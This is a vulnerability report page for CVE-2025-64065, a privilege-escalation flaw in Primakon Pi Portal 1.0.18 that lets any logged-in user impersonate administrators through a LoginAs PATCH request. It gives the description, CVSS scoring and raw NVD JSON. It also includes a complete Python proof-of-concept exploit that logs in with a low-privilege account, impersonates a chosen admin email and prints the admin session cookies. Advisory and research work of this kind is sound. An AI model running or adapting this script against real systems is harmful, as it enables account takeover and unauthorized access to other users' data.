Security Vulnerability Report
中文
CVE-2025-64065 CVSS 8.8 HIGH

CVE-2025-64065

Published: 2025-11-25 19:15:51
Last Modified: 2025-12-01 14:22:30

Description

The Primakon Pi Portal 1.0.18 API /api/V2/pp_udfv_admin endpoint, fails to perform necessary server-side validation. The administrative LoginAs or user impersonation feature is vulnerable to a access control failure. This flaw allows any authenticated low-privileged user to execute a direct PATCH request, enabling them to impersonate any other arbitrary user, including application Administrators. This is due to a Broken Function Level Authorization failure (the function doesn't check the caller's privilege) compounded by an Insecure Design that permits a session switch without requiring the target user's password or an administrative token and only needs email of user.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:* - VULNERABLE
Primakon Pi Portal 1.0.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-64065 PoC - Primakon Pi Portal Privilege Escalation # Target: Primakon Pi Portal 1.0.18 # Endpoint: /api/V2/pp_udfv_admin TARGET_URL = "http://target-server.com" ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "lowpriv_password" TARGET_ADMIN_EMAIL = "[email protected]" # Target admin email def exploit_cve_2025_64065(): """ Exploit for CVE-2025-64065: Broken Function Level Authorization Allows authenticated low-privilege users to impersonate any user. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/api/V2/login" login_data = { "email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Exploit the vulnerability - impersonate admin user exploit_url = f"{TARGET_URL}/api/V2/pp_udfv_admin" exploit_data = { "action": "LoginAs", "email": TARGET_ADMIN_EMAIL } headers = { "Content-Type": "application/json", "X-HTTP-Method-Override": "PATCH" } response = session.patch(exploit_url, json=exploit_data, headers=headers) if response.status_code == 200: print(f"[+] Successfully impersonated admin user: {TARGET_ADMIN_EMAIL}") print(f"[+] Admin session token: {response.cookies.get_dict()}") return True else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": exploit_cve_2025_64065()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64065", "sourceIdentifier": "[email protected]", "published": "2025-11-25T19:15:50.643", "lastModified": "2025-12-01T14:22:29.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Primakon Pi Portal 1.0.18 API /api/V2/pp_udfv_admin endpoint, fails to perform necessary server-side validation. The administrative LoginAs or user impersonation feature is vulnerable to a access control failure. This flaw allows any authenticated low-privileged user to execute a direct PATCH request, enabling them to impersonate any other arbitrary user, including application Administrators. This is due to a Broken Function Level Authorization failure (the function doesn't check the caller's privilege) compounded by an Insecure Design that permits a session switch without requiring the target user's password or an administrative token and only needs email of user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "48EDD273-2C46-43C9-9473-27D2C14040CB"}]}]}], "references": [{"url": "https://github.com/n3k7ar91/Vulnerabilites/blob/main/Primakon/CVE-2025-64065.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.primakon.com/rjesenja/primakon-pcm/", "source": "[email protected]", "tags": ["Product"]}]}}